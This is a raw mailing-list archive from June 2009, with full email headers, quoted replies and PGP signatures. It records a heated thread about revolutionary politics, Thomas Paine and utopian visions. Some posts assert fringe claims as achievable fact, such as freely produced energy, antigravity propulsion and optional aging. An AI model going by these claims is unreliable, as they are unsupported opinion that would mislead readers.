8 19:56:54 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n592uq88020530; Mon, 8 Jun 2009 19:56:52 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n592ul6e020503; Mon, 8 Jun 2009 19:56:47 -0700 Resent-Date: Mon, 8 Jun 2009 19:56:47 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: Harry Veeder To: vortexb-l@eskimo.com Message-ID: <426f0d428479.428479426f0d@ncf.ca> Date: Mon, 08 Jun 2009 22:56:49 -0400 X-Mailer: iPlanet Messenger Express 5.2 Patch 2 (built Jul 14 2004) MIME-Version: 1.0 Content-Language: en Subject: Re: [VoB]:Re: [Vo]:grok is removed temporarily X-Accept-Language: en Priority: normal Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4358 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 600 ----- Original Message ----- From: grok Date: Monday, June 8, 2009 9:30 pm Subject: Re: [VoB]:Re: [Vo]:grok is removed temporarily > Science is politikal. OU is *definitely* politikal. Was I not > supposed to respond..? Sometimes the best response is to saying nothing. Harry From vortexb-l-request@eskimo.com Mon Jun 8 20:24:20 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n593OHPQ027159; Mon, 8 Jun 2009 20:24:18 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n593OHND027152; Mon, 8 Jun 2009 20:24:17 -0700 Resent-Date: Mon, 8 Jun 2009 20:24:17 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: Harry Veeder To: vortexb-l@eskimo.com Message-ID: <427548424857.424857427548@ncf.ca> Date: Mon, 08 Jun 2009 23:24:05 -0400 X-Mailer: iPlanet Messenger Express 5.2 Patch 2 (built Jul 14 2004) MIME-Version: 1.0 Content-Language: en Subject: Re: [VoB]:Citizen Paine X-Accept-Language: en Priority: normal Content-Type: text/plain; charset=windows-1252 Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4359 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 601 =3C=3CPaine=92s time in Lewes was brought to an end by bankruptcy and separation from his second wife=2E In 1774=2C approaching middle age=2C w= ith no settled employment=2C he did what many others had done before him=2C a= nd many were to do after him=97he sailed to America=2E He arrived better equipped than many emigrants=2C however=2C since he had in his pocket a letter of introduction from Benjamin Franklin=2E=3E=3E Its not what you know=2C its who you know=2E=2E=2E=2Esame old story=2E =3B= -) Harry ----- Original Message ----- From=3A grok =3Cgrok=40resist=2Eca=3E Date=3A Monday=2C June 8=2C 2009 8=3A03 pm Subject=3A =5BVoB=5D=3ACitizen Paine =3E -----BEGIN PGP SIGNED MESSAGE----- =3E Hash=3A SHA1 =3E = =3E = =3E 200 years w/o the presence of a REAL hero=2E=2E=2E I think it=27s pas= t time = =3E USAmericans=5Bre-=5Dread this man=27s worx=2E With a kritikal eye=2C = that is = =3E (i=2Ee=2E -- unlike most =3E USAmericans=3A who constantly take their cues from the ruling-class)=2E= =3E = =3E = =3E - -- grok=2E =3E = =3E = =3E = =3E CITIZEN OF THE WORLD=3A =3E A brief survey of the life and times of Thomas Paine (1737-1809)=3A =3E =3Chttp=3A//wsws=2Eorg/articles/2009/jun2009/pain-j08=2Eshtml=3E =3E = =3E = =3E = =3E = =3E = =3E = =3E - -- = =3E Build the North America-wide General Strike=2E =3E = =3E TODO el poder a los consejos y las comunas=2E =3E TOUT le pouvoir aux conseils et communes=2E =3E ALL power to the councils and communes=2E =3E -----BEGIN PGP SIGNATURE----- =3E Version=3A GnuPG v1=2E4=2E9 (GNU/Linux) =3E = =3E iEYEARECAAYFAkotpu4ACgkQXo3EtEYbt3E7HwCdFtsaO+cWNw+6udGoAxaZUwua =3E ak4AoIewq9jAw7QJDRFSRdsHNDOynbcT =3E =3DYb+I =3E -----END PGP SIGNATURE----- =3E = =3E From vortexb-l-request@eskimo.com Mon Jun 8 20:36:11 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n593a89W026253; Mon, 8 Jun 2009 20:36:08 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n593a8GM026238; Mon, 8 Jun 2009 20:36:08 -0700 Resent-Date: Mon, 8 Jun 2009 20:36:08 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Mon, 8 Jun 2009 20:36:00 -0700 From: grok To: John Berry Cc: vortexb-l@eskimo.com Subject: Re: [VoB]:Mig Pilot Message-ID: <20090609033600.GJ10785@shell.resist.ca> Reply-To: grok@resist.ca References: <2CB0AF9101CF4C3889555DE9CD07EE70@REVTEC1> <20090609013918.GD10785@shell.resist.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: Titan Corporation, spook words, NATIA, corn, Air to Ground Missile User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4360 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 602 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, John Berry mounted the barricade and roared out: > grok, you have been less than clear at least you were initially on just what > it is you support. Sez you. > To me if someone says communism and nothing more visions of Stalinism, Mao, > Pol Pot, North Korea and various other examples come to mind. Since you people dis/misunderstand the simplest, most basic things about politix, just how, exactly, pray tell, am I to proceed, then..? > I assumed however you didn't mean a dehumanizing system that kills people in > wholesale numbers and said so only to have you seemingly say that was > precisely what you meant. Who's system are we talking about now..? > Now however it seems that what you support are not the kind of atrocities > the term suggests to most. Assuming the veracity of that statement -- of course not. But I ain't no frigging pacifist either. 'Death to tyrants', and all that. > Instead my mind goes to a hippie communal farm, ok that's a far nicer > picture. Ya. I like that pichure too. I also like the one the xians put out that has the lamb lying down with the lion. So nice. > But it is pointless to use labels with so much negative meaning and charge > to them, no one is going to understand your argument because the pictures in > their mind will be worth more than your thousand words. Sorry, fella. I get this argument all the time. From people who don't have a clue about politix. I'm not here to win converts. I expect few-to-none, in fact. And again: this isn't really about me. It's in fact much more about YOU people. > BTW I'd like to add that while your mentioning of Hitler is tactically > unsound as you are attacking the reader I'll be the judge of that, thankewverymuch. > you are not entierly wrong. > Grand daddy Bush along with Alcoa and Wall Street propped up Hitler/Germany > and many business ties today remain between the atrocities of the NAZI's and > various pharmaceutical and chemical companies still around today. I believe I even made that very point on vortex-l. Did you happen to see that one..? > Politics and history is full of so many lies and so many levels that it is > pointless to wrap your arguments in such. > > Rather drop the politics, drop 'America is corrupt' because their TV > programs tell them that anyway. 1: I didn't start it. 2: Wrong taktix. And what's more: being the right taktix doesn't mean that it's gonna be pleasant, either. > Oh, and most people are mostly interlectually dishonest most of the time and > you know what? They were raised to feel comfortible despite such cognative > dissonance. > They were raised to beliece the fairy tale. Ya, I know that. And guess what. *There's a downside to that*. > Consider this an invitation to think in new ways, of new structures with new > language to find a new solution, a better way rather than rehashing the > mistakes of the past. Been there. Done that (i.e. attempted to square that particular circle). No thanx. This is just the usual petit-bourgeois avoidance mechanism tried from one of various classic angles. Same old same-old, fella. The Revolution is still on. The old-fashioned way. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkot2KAACgkQXo3EtEYbt3HA3QCgqA+W94HOKopqZGiIQnFlhmxW +UQAoISutzMdnpPznMMa2rWlLYo4+enr =+jdG -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Mon Jun 8 20:37:52 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n593bWnH026518; Mon, 8 Jun 2009 20:37:32 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n593bV1d026512; Mon, 8 Jun 2009 20:37:31 -0700 Resent-Date: Mon, 8 Jun 2009 20:37:31 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Mon, 8 Jun 2009 20:37:24 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Citizen Paine Message-ID: <20090609033724.GK10785@shell.resist.ca> Reply-To: grok@resist.ca References: <423d15426ab2.426ab2423d15@ncf.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <423d15426ab2.426ab2423d15@ncf.ca> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: Titan Corporation, spook words, NATIA, corn, Air to Ground Missile User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4361 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 603 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Harry Veeder mounted the barricade and roared out: > < separation from his second wife. In 1774, approaching middle age, with > no settled employment, he did what many others had done before him, and > many were to do after him--he sailed to America. He arrived better > equipped than many emigrants, however, since he had in his pocket a > letter of introduction from Benjamin Franklin.>> > > Its not what you know, its who you know....same old story. ;-) > > Harry Ya. I'm so disillusioned... ;P - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkot2PQACgkQXo3EtEYbt3FnQgCfehPSOPOC/2qhx/fIixe/TYea +NsAoN5fJdhNfZ6w2HhxomHwA1NP854/ =Ujyr -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Mon Jun 8 20:49:33 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n593nQpp031402; Mon, 8 Jun 2009 20:49:26 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n593nPgT031395; Mon, 8 Jun 2009 20:49:25 -0700 Resent-Date: Mon, 8 Jun 2009 20:49:25 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:cc:content-type; bh=NKTksSa6TeEHEd5g7imOkZeQaNgo2ysgB97tdHKL5xs=; b=xtio8c8bKqHqEcsXiZt2sNsH6jpnGQt0A+tKRJ9es2IR0f0+UaEbqA7vc9WBbmJw1a wVyoV8bH3szJUDEXjcCz+Iib2ZJ4/GMc3TQ/z509/AAgfocs0jf12wikzlbJVc+6P8IP TqY+EM3fqw5qBXgFA58Ot55S7Di4T8BtYoc7U= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type; b=P0fHWuCXosTQljCETmIk80uIyNccrtfRTf4J1RjnArOe5ke8szY+T4ckENyWdkltZd hNm/ZIIp/M5Elrw6fKX3NFwgukAiWnOqih3KtI7Is5czx47fV5EhqzL5l4fP6DeciNNh lEDVpghTf7ExOMioDqJNp6tLFalr2TzdYuuAU= MIME-Version: 1.0 In-Reply-To: <20090609033600.GJ10785@shell.resist.ca> References: <2CB0AF9101CF4C3889555DE9CD07EE70@REVTEC1> <20090609013918.GD10785@shell.resist.ca> <20090609033600.GJ10785@shell.resist.ca> From: Charles HOPE Date: Mon, 8 Jun 2009 23:49:05 -0400 Message-ID: <63ffa6020906082049v695532c5y3e13d4149fd1204a@mail.gmail.com> Subject: Re: [VoB]:Mig Pilot To: grok@resist.ca Cc: John Berry , vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001636697566ae89f7046be23ee6 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4362 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 604 --001636697566ae89f7046be23ee6 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable He doesn't need converts for his revolution. He's going to do it all by himself -- or with the millions of radical working class people that are agitating in the streets all day. Can't you hear them? On Mon, Jun 8, 2009 at 11:36 PM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > As the smoke cleared, John Berry > mounted the barricade and roared out: > > > grok, you have been less than clear at least you were initially on just > what > > it is you support. > > Sez you. > > > > > > To me if someone says communism and nothing more visions of Stalinism, > Mao, > > Pol Pot, North Korea and various other examples come to mind. > > Since you people dis/misunderstand the simplest, most basic things about > politix, > just how, exactly, pray tell, am I to proceed, then..? > > > > > > > I assumed however you didn't mean a dehumanizing system that kills peop= le > in > > wholesale numbers and said so only to have you seemingly say that was > > precisely what you meant. > > Who's system are we talking about now..? > > > > > > > Now however it seems that what you support are not the kind of atrociti= es > > the term suggests to most. > > Assuming the veracity of that statement -- of course not. But I ain't no > frigging > pacifist either. 'Death to tyrants', and all that. > > > > > > > Instead my mind goes to a hippie communal farm, ok that's a far nicer > > picture. > > Ya. I like that pichure too. I also like the one the xians put out that h= as > the > lamb lying down with the lion. So nice. > > > > > > > But it is pointless to use labels with so much negative meaning and > charge > > to them, no one is going to understand your argument because the pictur= es > in > > their mind will be worth more than your thousand words. > > Sorry, fella. I get this argument all the time. From people who don't hav= e > a clue > about politix. I'm not here to win converts. I expect few-to-none, in fac= t. > > And again: this isn't really about me. It's in fact much more about YOU > people. > > > > > > > > BTW I'd like to add that while your mentioning of Hitler is tactically > > unsound as you are attacking the reader > > I'll be the judge of that, thankewverymuch. > > > > > > > you are not entierly wrong. > > Grand daddy Bush along with Alcoa and Wall Street propped up > Hitler/Germany > > and many business ties today remain between the atrocities of the NAZI'= s > and > > various pharmaceutical and chemical companies still around today. > > I believe I even made that very point on vortex-l. Did you happen to see > that one..? > > > > > > > Politics and history is full of so many lies and so many levels that it > is > > pointless to wrap your arguments in such. > > > > Rather drop the politics, drop 'America is corrupt' because their TV > > programs tell them that anyway. > > 1: I didn't start it. > 2: Wrong taktix. > > And what's more: being the right taktix doesn't mean that it's gonna be > pleasant, > either. > > > > > > > > Oh, and most people are mostly interlectually dishonest most of the tim= e > and > > you know what? They were raised to feel comfortible despite such > cognative > > dissonance. > > They were raised to beliece the fairy tale. > > Ya, I know that. And guess what. *There's a downside to that*. > > > > > > > > Consider this an invitation to think in new ways, of new structures wit= h > new > > language to find a new solution, a better way rather than rehashing the > > mistakes of the past. > > Been there. Done that (i.e. attempted to square that particular circle). = No > thanx. > > This is just the usual petit-bourgeois avoidance mechanism tried from one > of > various classic angles. Same old same-old, fella. The Revolution is still > on. The > old-fashioned way. > > > - -- grok. > > > > > > > > - -- > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAkot2KAACgkQXo3EtEYbt3HA3QCgqA+W94HOKopqZGiIQnFlhmxW > +UQAoISutzMdnpPznMMa2rWlLYo4+enr > =3D+jdG > -----END PGP SIGNATURE----- > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001636697566ae89f7046be23ee6 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable He doesn't need converts for his revolution. He's going to do it al= l by himself -- or with the millions of radical working class people that a= re agitating in the streets all day. Can't you hear them?




On Mon, Jun 8, 2009 at 11:36 PM, grok <grok@resist.ca>= ; wrote:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


As the smoke cleared, John Berry <aether22@gmail.com>
mounted the barricade and roared out:

> grok, you have been less than clear at least you were initially = on just what
> it is you support.

Sez you.




> To me if someone says communism and nothing more visions of Stalinism,= Mao,
> Pol Pot, North Korea and various other examples come to mind.

Since you people dis/misunderstand the simplest, most basic things about po= litix,
just how, exactly, pray tell, am I to proceed, then..?





> I assumed however you didn't mean a dehumanizing system that kills= people in
> wholesale numbers and said so only to have you seemingly say that was<= br> > precisely what you meant.

Who's system are we talking about now..?





> Now however it seems that what you support are not the kind of atrocit= ies
> the term suggests to most.

Assuming the veracity of that statement -- of course not. But I ain't n= o frigging
pacifist either. 'Death to tyrants', and all that.





> Instead my mind goes to a hippie communal farm, ok that's a far ni= cer
> picture.

Ya. I like that pichure too. I also like the one the xians put out that has= the
lamb lying down with the lion. So nice.





> But it is pointless to use labels with so much negative meaning and ch= arge
> to them, no one is going to understand your argument because the pictu= res in
> their mind will be worth more than your thousand words.

Sorry, fella. I get this argument all the time. From people who don't h= ave a clue
about politix. I'm not here to win converts. I expect few-to-none, in f= act.

And again: this isn't really about me. It's in fact much more about= YOU people.






> BTW I'd like to add that while your mentioning of Hitler is tactic= ally
> unsound as you are attacking the reader

I'll be the judge of that, thankewverymuch.





> you are not entierly wrong.
> Grand daddy Bush along with Alcoa and Wall Street propped up Hitler/Ge= rmany
> and many business ties today remain between the atrocities of the NAZI= 's and
> various pharmaceutical and chemical companies still around today.

I believe I even made that very point on vortex-l. Did you happen to see th= at one..?





> Politics and history is full of so many lies and so many levels that i= t is
> pointless to wrap your arguments in such.
>
> Rather drop the politics, drop 'America is corrupt' because th= eir TV
> programs tell them that anyway.

1: I didn't start it.
2: Wrong taktix.

And what's more: being the right taktix doesn't mean that it's = gonna be pleasant,
either.






> Oh, and most people are mostly interlectually dishonest most of the ti= me and
> you know what? They were raised to feel comfortible despite such cogna= tive
> dissonance.
> They were raised to beliece the fairy tale.

Ya, I know that. And guess what. *There's a downside to that*.






> Consider this an invitation to think in new ways, of new structures wi= th new
> language to find a new solution, a better way rather than rehashing th= e
> mistakes of the past.

Been there. Done that (i.e. attempted to square that particular circle). No= thanx.

This is just the usual petit-bourgeois avoidance mechanism tried from one o= f
various classic angles. Same old same-old, fella. The Revolution is still o= n. The
old-fashioned way.


- -- grok.







- --
Build the North America-wide General Strike.

TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to the councils and communes.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkot2KAACgkQXo3EtEYbt3HA3QCgqA+W94HOKopqZGiIQnFlhmxW
+UQAoISutzMdnpPznMMa2rWlLYo4+enr
=3D+jdG
-----END PGP SIGNATURE-----




--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--001636697566ae89f7046be23ee6-- From vortexb-l-request@eskimo.com Mon Jun 8 23:04:45 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n5964cNm026690; Mon, 8 Jun 2009 23:04:38 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n5964bJA026679; Mon, 8 Jun 2009 23:04:37 -0700 Resent-Date: Mon, 8 Jun 2009 23:04:37 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=4VyHrIApK0ALlq5wci785EEAx+M8f+doOJBnutJycww=; b=nRu4MFg3BslXzWhNWRHB2Ua4tGuW9S48RuUx5CY3GP8QYV16nWN5SiJ9yTSGqh/9+E XZr9HuhND+ipxDub2VT+gtNfY2d0pu2E6OsnOQgptXwBOb7wB5SYmBMghPwplHCAruz3 c3gvRNPAEJKz0J2KOOMKdC6ZhpTp+c+kzACeI= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=NStPeUdmm+bAIs6scmJarvZjnz9Z8fV1/qU3eNPWYGbo4mTLJVa/K5jcJBlkfBspJz rlzT6lEetgwUtOpRKZUprW7zmkVyceTjZQJ1yL5oGQbXcrzIqn//EPxfv2IHxq8Dz6ZM fvaesvf+AvGOckMb3C3xKPDXupqc0iiawtc18= MIME-Version: 1.0 In-Reply-To: <63ffa6020906082049v695532c5y3e13d4149fd1204a@mail.gmail.com> References: <2CB0AF9101CF4C3889555DE9CD07EE70@REVTEC1> <20090609013918.GD10785@shell.resist.ca> <20090609033600.GJ10785@shell.resist.ca> <63ffa6020906082049v695532c5y3e13d4149fd1204a@mail.gmail.com> From: John Berry Date: Tue, 9 Jun 2009 18:04:18 +1200 Message-ID: Subject: Re: [VoB]:Mig Pilot To: Charles HOPE , vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=000e0cd258303efdc4046be4223d Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4363 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 605 --000e0cd258303efdc4046be4223d Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable On Tue, Jun 9, 2009 at 3:49 PM, Charles HOPE wrote: > He doesn't need converts for his revolution. The power of course lies in the people, those who seem to have the power only have it by disempowering people, their power only exists in darkness and ignorance and weakness of others. If people had vision, if people had a plan there would be no problems. Currently people are united by 'them' into machines which act against the benefit of the people and the earth. (Thanks to Milgram we know most people will bend just fine to authority no matter what) So besides the slim chance of wrestling control of the current flawed systems away from TPTB it seems the solution is to create new systems, new visions. (note: in most cases if you attack each problem individually and creatively you will see the current systems does net nessasarily preclude a= n alternative solution) This must be done with care, then you must use money and or inspiring communication to enroll people into this new vision. The following things could be solved by such. (the basic knowledge already exists) Most disease could be vanished, cancer etc.. Aging could be slowed, possibly made optional. Pollution could be stopped and cleaned up. People could remove emotional traumas with new techniques. Energy could be freely produced. Antigravity and propulsion can be made for practical space flight. Abundance could be made universal. So many other issues fade away when people aren't being fed toxic food and thoughts and regain a bright vision of a bright future. Everyone knows the current systems are broken that is a cliche, but they lack the vision to realize that in many cases you are free to create an alternative system without resistance, they recognize that they may be a co= g in a machine that is destructive but they lack the empowerment, responsibility and vision to change anything. And they would be correct because a man is not an island, it is merely unit= y that is missing, unity is something that the current world acts to oppose o= f course. So again a way of uniting people is needed, so it comes back to money and o= r inspiring communication to enroll people. It is possible, I have actually already done this once, without paying anyone, people can get behind an idea and the idea takes on a life of it's own becoming significant in impact and longevity (and can retain most of it's origional vision without any continued oversight). > He's going to do it all by himself -- or with the millions of radical > working class people that are agitating in the streets all day. Can't you > hear them? > > > > > On Mon, Jun 8, 2009 at 11:36 PM, grok wrote: > >> -----BEGIN PGP SIGNED MESSAGE----- >> Hash: SHA1 >> >> >> As the smoke cleared, John Berry >> mounted the barricade and roared out: >> >> > grok, you have been less than clear at least you were initially on jus= t >> what >> > it is you support. >> >> Sez you. >> >> >> >> >> > To me if someone says communism and nothing more visions of Stalinism, >> Mao, >> > Pol Pot, North Korea and various other examples come to mind. >> >> Since you people dis/misunderstand the simplest, most basic things about >> politix, >> just how, exactly, pray tell, am I to proceed, then..? >> >> >> >> >> >> > I assumed however you didn't mean a dehumanizing system that kills >> people in >> > wholesale numbers and said so only to have you seemingly say that was >> > precisely what you meant. >> >> Who's system are we talking about now..? >> >> >> >> >> >> > Now however it seems that what you support are not the kind of >> atrocities >> > the term suggests to most. >> >> Assuming the veracity of that statement -- of course not. But I ain't no >> frigging >> pacifist either. 'Death to tyrants', and all that. >> >> >> >> >> >> > Instead my mind goes to a hippie communal farm, ok that's a far nicer >> > picture. >> >> Ya. I like that pichure too. I also like the one the xians put out that >> has the >> lamb lying down with the lion. So nice. >> >> >> >> >> >> > But it is pointless to use labels with so much negative meaning and >> charge >> > to them, no one is going to understand your argument because the >> pictures in >> > their mind will be worth more than your thousand words. >> >> Sorry, fella. I get this argument all the time. From people who don't ha= ve >> a clue >> about politix. I'm not here to win converts. I expect few-to-none, in >> fact. >> >> And again: this isn't really about me. It's in fact much more about YOU >> people. >> >> >> >> >> >> >> > BTW I'd like to add that while your mentioning of Hitler is tactically >> > unsound as you are attacking the reader >> >> I'll be the judge of that, thankewverymuch. >> >> >> >> >> >> > you are not entierly wrong. >> > Grand daddy Bush along with Alcoa and Wall Street propped up >> Hitler/Germany >> > and many business ties today remain between the atrocities of the NAZI= 's >> and >> > various pharmaceutical and chemical companies still around today. >> >> I believe I even made that very point on vortex-l. Did you happen to see >> that one..? >> >> >> >> >> >> > Politics and history is full of so many lies and so many levels that i= t >> is >> > pointless to wrap your arguments in such. >> > >> > Rather drop the politics, drop 'America is corrupt' because their TV >> > programs tell them that anyway. >> >> 1: I didn't start it. >> 2: Wrong taktix. >> >> And what's more: being the right taktix doesn't mean that it's gonna be >> pleasant, >> either. >> >> >> >> >> >> >> > Oh, and most people are mostly interlectually dishonest most of the ti= me >> and >> > you know what? They were raised to feel comfortible despite such >> cognative >> > dissonance. >> > They were raised to beliece the fairy tale. >> >> Ya, I know that. And guess what. *There's a downside to that*. >> >> >> >> >> >> >> > Consider this an invitation to think in new ways, of new structures wi= th >> new >> > language to find a new solution, a better way rather than rehashing th= e >> > mistakes of the past. >> >> Been there. Done that (i.e. attempted to square that particular circle). >> No thanx. >> >> This is just the usual petit-bourgeois avoidance mechanism tried from on= e >> of >> various classic angles. Same old same-old, fella. The Revolution is stil= l >> on. The >> old-fashioned way. >> >> >> - -- grok. >> >> >> >> >> >> >> >> - -- >> Build the North America-wide General Strike. >> >> TODO el poder a los consejos y las comunas. >> TOUT le pouvoir aux conseils et communes. >> ALL power to the councils and communes. >> -----BEGIN PGP SIGNATURE----- >> Version: GnuPG v1.4.9 (GNU/Linux) >> >> iEYEARECAAYFAkot2KAACgkQXo3EtEYbt3HA3QCgqA+W94HOKopqZGiIQnFlhmxW >> +UQAoISutzMdnpPznMMa2rWlLYo4+enr >> =3D+jdG >> -----END PGP SIGNATURE----- >> >> > > > -- > Never did I see a second sun > Never did my skin touch a land of glass > Never did my rifle point but true > But in a land empty of enemies > Waiting for the tick-tick-tick of the want > A uranium angel > Crying =93behold,=94 > This land that knew fire is yours > Taken from Corruption > To begin anew > --000e0cd258303efdc4046be4223d Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable

On Tue, Jun 9, 2009 at 3:49 PM, Charles = HOPE <= lookslikeiwasright@gmail.com> wrote:
He doesn't need converts for his revolution.

The = power of course lies in the people, those who seem to have the power only h= ave it by disempowering people, their power only exists in darkness and ign= orance and weakness of others.

If people had vision, if people had a plan there would be no problems.<= br>
Currently people are united by 'them' into machines which ac= t against the benefit of the people and the earth. (Thanks to Milgram we kn= ow most people will bend just fine to authority no matter what)

So besides the slim chance of wrestling control of the current flawed s= ystems away from TPTB it seems the solution is to create new systems, new v= isions. (note: in most cases if you attack each problem individually and cr= eatively you will see the current systems does net nessasarily preclude an = alternative solution)

This must be done with care, then you must use money and or inspiring c= ommunication to enroll people into this new vision.

The following th= ings could be solved by such. (the basic knowledge already exists)

Most disease could be vanished, cancer etc..
Aging could be slowed, poss= ibly made optional.
Pollution could be stopped and cleaned up.
People= could remove emotional traumas with new techniques.
Energy could be fre= ely produced.
Antigravity and propulsion can be made for practical space flight.
Abund= ance could be made universal.

